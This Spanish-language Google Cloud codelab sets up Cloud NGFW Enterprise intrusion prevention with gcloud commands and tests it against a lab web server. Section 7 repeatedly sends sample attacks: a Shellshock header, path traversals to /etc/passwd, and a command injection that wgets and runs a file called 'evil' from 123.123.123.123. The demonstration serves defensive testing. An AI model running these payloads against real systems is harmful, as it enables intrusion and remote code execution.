Cloud NGFW Enterprise: Servicio de prevención de intrusiones (sin inspección de TLS)

1. Introducción

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzadas, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de ataques internos y externos.

Cloud NGFW tiene los siguientes beneficios:

  • Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado, completamente distribuida y basada en host en cada carga de trabajo para habilitar la arquitectura de seguridad de confianza cero.
  • Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
  • Control detallado y microsegmentación: la combinación de políticas de firewall y etiquetas controladas por Identity and Access Management (IAM) proporciona un control detallado del tráfico norte-sur y este-oeste, hasta una sola VM, en las redes y organizaciones de nube privada virtual (VPC).

Cloud NGFW está disponible en los siguientes niveles:

Cloud NGFW Enterprise

Cloud NGFW Enterprise agrega el Servicio de prevención de intrusiones (IPS), una capacidad de capa 7, a la estructura de firewall distribuida de Google Cloud. La inspección de TLS es compatible con la inspección del tráfico encriptado por TLS, pero está fuera del alcance de este codelab (consulta el Codelab de Cloud NGFW Enterprise con inspección de TLS).

Ahora puedes implementar inspecciones confiables de firewall de nueva generación (NGFW) de capa 7 con controles detallados, sin hacer cambios en la arquitectura de la red ni en los parámetros de configuración de enrutamiento.

Para activar e implementar el control de firewall de capa 7 con IPS, debes realizar las siguientes tareas:

  • Crear un conjunto de extremos de firewall zonales administrados por Google Cloud.
  • De manera opcional, crea una política de inspección de TLS (no se aborda en este codelab)
  • De manera opcional, crea una configuración de confianza (no se aborda en este codelab)
  • Asocia estos extremos a las redes de nube privada virtual (VPC) en las que necesitas el servicio Cloud NGFW Enterprise.
  • Realiza cambios sencillos a tus políticas y reglas de firewall existentes para especificar los perfiles de prevención de amenazas para las diversas rutas de tráfico.

Políticas de firewall de red

La política de firewall de red actúa como un contenedor para las reglas de firewall. Las reglas definidas en una política de firewall de red no se aplican en ningún lugar hasta que la política esté asociada con una red de VPC. Cada red de VPC puede tener una política de firewall de red asociada. Las políticas de firewall de red admiten etiquetas controladas por IAM (o solo etiquetas) en las reglas de firewall, que reemplazan las etiquetas de red actuales y se pueden usar para proporcionar identidad a la carga de trabajo.

Compartir una política de firewall de red entre redes y la integración con etiquetas controladas por IAM simplifica en gran medida la configuración y la administración de los firewalls.

Con la introducción de la política de firewall de red, las políticas de firewall de Google Cloud ahora consta de los siguientes componentes:

  1. Política de firewall jerárquica
  2. Reglas de firewall de VPC
  3. Política de firewall de red ( global y regional)

Las políticas de firewall jerárquicas son compatibles con los nodos de la organización y la carpeta dentro de la jerarquía de recursos, mientras que las reglas de firewall de VPC y las políticas de firewall de red se aplican a nivel de VPC. Una gran diferencia entre las reglas de firewall de VPC y las políticas de firewall de red es que las reglas de firewall de VPC pueden aplicarse solo a una red de VPC, mientras que las políticas de firewall de red se pueden vincular a una sola VPC o grupo de VPC, entre otros beneficios, como las actualizaciones por lotes.

Por último, también están las reglas de firewall implícitas que se incluyen en cada red de VPC:

  • Una regla de salida cuya acción es permitir, el destino es 0.0.0.0/0
  • Una regla de entrada cuya acción es denegar, el origen es 0.0.0.0/0

De forma predeterminada, la secuencia de aplicación se muestra en el siguiente diagrama:

21b3bcabc469ffe.png

Ten en cuenta que se puede intercambiar el orden de aplicación entre las reglas de firewall de VPC y la política de firewall de red global. Los clientes pueden especificar el orden de aplicación en cualquier momento con un comando de gcloud.

Etiquetas controladas por IAM

Las nuevas etiquetas integradas en las reglas de políticas de firewall de red son recursos de pares clave-valor definidos a nivel de la organización o a nivel de proyecto de la jerarquía de recursos de Google Cloud. Esta etiqueta contiene un control de acceso de IAM, como su nombre indica, que especifica quién puede hacer qué en la etiqueta. Los permisos de IAM, por ejemplo, permiten que se especifique qué principales pueden asignar valores a las etiquetas y qué principales pueden adjuntar etiquetas a los recursos. Una vez que se aplica una etiqueta a un recurso, las reglas de firewall de red pueden usarla para permitir y denegar el tráfico.

Las etiquetas se adhieren al modelo de recursos de herencia de Google Cloud, lo que significa que las etiquetas y sus valores se transmiten hacia abajo en la jerarquía desde sus elementos superiores. Como resultado, las etiquetas se pueden crear en un lugar y, luego, usarse en otras carpetas y proyectos de la jerarquía de recursos. Visita esta página para obtener detalles sobre las etiquetas y las restricciones de acceso.

Las etiquetas no deben confundirse con las etiquetas de red. Las últimas son cadenas que pueden agregarse a instancias de Compute Engine. se asocian con la instancia y desaparecen cuando la instancia se retira. Las reglas de firewall de VPC pueden incluir etiquetas de red, pero como no se consideran recursos de la nube, no están sujetas al control de acceso de IAM.

Ten en cuenta que las etiquetas y las etiquetas controladas por IAM se usan indistintamente en este documento.

Qué compilarás

Este codelab requiere un solo proyecto y la capacidad de crear una red de VPC con conectividad pública, y demostrará cómo Cloud NGFW Enterprise puede proporcionar funcionalidad IPS de la siguiente manera:

  • Inspecciona flujos dentro de la VPC o de subred [este a oeste]
  • Inspeccionar flujos de entrada desde Internet [Norte-Sur]

Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del firewall de Cloud, que incluyen 5 tuplas (IP de origen, IP de destino, protocolo, puerto de origen, puerto de destino) y etiquetas. La inspección de TLS no se incluye en este codelab.

52a0642ef8668ecf.png

La base de reglas de la política de firewall de red será similar a la siguiente tabla:

Prioridad

Dirección

Destino

Origen

Destino

Acción

Tipo

100

Salida

Quarantine_Tag

Cualquiera

Cualquiera

Rechazar

Imprescindibles

1000

Entrada

Server_Tag

Rangos de verificación de estado

Cualquiera

Permitir

Imprescindibles

2000

Entrada

Cualquiera

Rangos de Identity-Aware Proxy

Cualquiera

Permitir

Imprescindibles

3000

Entrada

Cualquiera

Ubicación geográfica y GCTI

Cualquiera

Rechazar

Estándar

4000

Salida

Cualquiera

Cualquiera

Ubicación geográfica y GCTI

Rechazar

Estándar

5000

Salida

Cualquiera

Cualquiera

FQDN de actualización del sistema

Permitir

Estándar

6000

Entrada

Server_Tag

10.0.0.0/24

Cualquiera

IPS

Enterprise

7000

Entrada

Server_Tag

CloudNAT_IP

Cualquiera

IPS

Enterprise

Qué aprenderás

Requisitos

  • Proyecto de Google Cloud
  • Conocimiento sobre la implementación de instancias y la configuración de componentes de redes
  • Conocimiento de la configuración del firewall de VPC

2. Antes de comenzar

Crear o actualizar variables

En este codelab, se usa $variables para facilitar la implementación de la configuración de gcloud en Cloud Shell.

En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario (omite la configuración del proyecto si ya se estableció el proyecto). Se usa una variable diferente para los recursos a nivel de la organización si hay varias, p.ej., extremos de firewall.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Habilita las APIs

Habilita las APIs si aún no lo has hecho:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creación de extremos y perfiles de seguridad empresariales de Cloud NGFW

Dado que la creación del extremo empresarial de Cloud NGFW tarda alrededor de 20 minutos, se creará primero y la configuración base se puede realizar en paralelo mientras se crea el extremo.

Crea el perfil de seguridad y el grupo de perfiles de seguridad:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Resultado esperado:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Confirma que los recursos se hayan creado de forma correcta:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Resultado esperado:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Crea el extremo Enterprise de Cloud NGFW:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Ejecuta el siguiente comando para confirmar que se está creando el extremo (ESTADO: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se utilice):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

También puedes ejecutar el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

El proceso de creación del extremo tarda unos 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.

5. Configuración básica

Continúa con las siguientes secciones si prefieres crear manualmente los recursos base.

Red y subred de VPC

Red y subred de VPC

Crea la red y subred de VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea los Cloud Routers y las puertas de enlace de Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

IInstancias

Crea las instancias cliente y web-server:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Etiquetas a nivel del proyecto

Asigna los permisos de tagAdmin o tagUser al usuario si es necesario:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Crea la clave y los valores de la etiqueta a nivel del proyecto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Vincula las etiquetas a las instancias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política de firewall de red global

Crea una política de firewall de red global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Crea reglas esenciales de firewall de Cloud para rechazar el tráfico de las instancias en cuarentena (creadas solo a modo de ejemplo y que no se usarán en este codelab) y permitir el tráfico de los rangos de la verificación de estado y del proxy de reconocimiento de identidad:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Crear reglas estándar de firewall de Cloud para rechazar el tráfico de entrada y salida de países bajo embargo, IP maliciosas conocidas y nodos de salida de ToR en países sujetos a embargo y solo permite el tráfico de salida a FQDN específicos para las actualizaciones del sistema (se crea solo a modo de ejemplo, no se usa en este codelab):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Crea reglas de firewall de Cloud para permitir la entrada de tráfico de este a oeste / intra subred y norte-sur / de Internet desde los rangos específicos (estas reglas se actualizarán para habilitar Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Asocia la política de firewall de red a la red de VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Balanceador de cargas de red TCP/UDP externo

Reserva una dirección IP externa y crea el grupo de instancias y la verificación de estado:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Crea un servicio de backend y una regla de reenvío:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Asociación de extremos empresariales de Cloud NGFW

Vuelve a definir las variables de entorno si es necesario.

Confirma que se completó correctamente la creación del extremo de firewall de Cloud. Continúa solo una vez que el estado se muestre como ACTIVE (durante la creación, el estado esperado será CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se utilice):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

También puedes ejecutar el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Asocia el extremo de Cloud NGFW Enterprise a la red de VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

El proceso de asociación tarda unos 10 minutos. Continúa solo una vez que el estado se muestre como ACTIVE (el estado esperado será CREATING durante el proceso de creación):

gcloud network-security firewall-endpoint-associations list

Resultado esperado:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

También puedes ejecutar el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Resultado esperado:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Reglas de inspección empresarial de Cloud NGFW

Abre una pestaña nueva y, luego, inicia una conexión SSH a la VM del cliente a través de IAP (tendrás que volver a definir las variables en la pestaña nueva):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Define las variables requeridas en la sesión de SSH y establécelas (asegúrate de que los valores sean correctos):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Ejecuta el comando curl en ambas IP para confirmar que son accesibles:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Resultado esperado para ambas solicitudes curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Envía ataques de muestra a la IP interna del servidor (tráfico este-oeste / dentro de la VPC). El servidor web debe responder a todas las solicitudes y confirmar que no hay inspección ni prevención de L7 implementada:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Vuelve a enviar los ataques de muestra a la IP del servidor externo a través de Cloud NAT (tráfico entrante norte-sur) y, de manera similar, el servidor web debe responder a todas las solicitudes:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Resultados esperados para las IP públicas y privadas:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Regresa a Cloud Shell y actualiza las reglas de entrada existentes para habilitar la inspección de L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

De manera opcional, describe las reglas de firewall para verificar que ambas se hayan actualizado correctamente:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Resultado esperado:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regla 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Resultado esperado:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regresa a la VM del cliente y vuelve a enviar los ataques de muestra a la IP interna del servidor (inspección este-oeste / dentro de la VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Vuelve a enviar los ataques de muestra a la IP del servidor externo a través de Cloud NAT (inspección entrante norte-sur):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

No se reciben respuestas para los primeros ataques según el resultado esperado a continuación, lo que confirma que los ataques de gravedad alta ahora están bloqueados.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Navega a Seguridad de red > Amenazas en la consola de Cloud para verificar los registros (es posible que debas actualizar varias veces si aún no se muestran los ataques).

daa535fcc34873aa.png

Elige uno de los ataques y haz clic en “Ver registro de auditoría” en el lado derecho (ábrelo en una pestaña nueva para volver a la versión anterior fácilmente). Expande el ataque para mostrar los detalles:

5f97cdef79e42eff.png

De manera opcional, reemplaza el filtro del Explorador de registros con la siguiente consulta:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Las entradas del registro de amenazas deberían verse como se muestra a continuación:

5ea9581a7eb694c5.png

Los paquetes interceptados del firewall de Cloud se pueden verificar con el filtro del Explorador de registros que aparece a continuación (útil para solucionar problemas):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Continúa con la inspección de tráfico de Internet (opcional) o cierra la sesión SSH y avanza al siguiente capítulo para ver los pasos de limpieza.

Inspección del tráfico de Internet (opcional)

Como se verificó en la sección anterior, los flujos inspeccionados hasta el momento son dentro de la subred/VPC (este-oeste) y el tráfico entrante de Internet (norte-sur entrante). Cloud NGFW Enterprise también se puede configurar para inspeccionar todo el tráfico de Internet (saliente de norte a sur) creando una nueva regla de salida con Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Vuelve a la VM del cliente y reenvía los ataques de gravedad alta a la IP del servidor externo:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Resultado esperado:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Cambia a la pestaña Amenazas en la consola de Cloud para verificar los registros (es posible que debas actualizar varias veces). Los ataques deberían haberse identificado y registrado nuevamente, pero ahora la IP de origen es interna porque primero se activa una regla de salida:

36f8edf264dcddcd.png

Cierra la sesión de SSH y continúa con la siguiente sección para realizar los pasos de limpieza.

8. Pasos de limpieza

Limpieza de los componentes de Cloud NGFW Enterprise

Enumera las asociaciones existentes de Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Borra la asociación de Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Enumera los extremos empresariales de Cloud NGFW existentes:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Borra el extremo de Cloud NGFW Enterprise, lo que puede tardar unos 20 minutos:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Para confirmar que se borró Cloud NGFW Enterprise, ejecuta el siguiente comando:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Borra el grupo de perfiles de seguridad y el perfil de prevención de amenazas:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Limpieza de la configuración de la base

Continúa con el siguiente paso si prefieres borrar los recursos base.

Define las variables de entorno si es necesario. En Cloud Shell, borra los componentes del balanceador de cargas de red:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Quita instancias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

De manera opcional, sigue estos pasos si se cambiaron los roles de tagAdmin y tagUsers:

export user_id=$(gcloud auth list --format="value(account)")

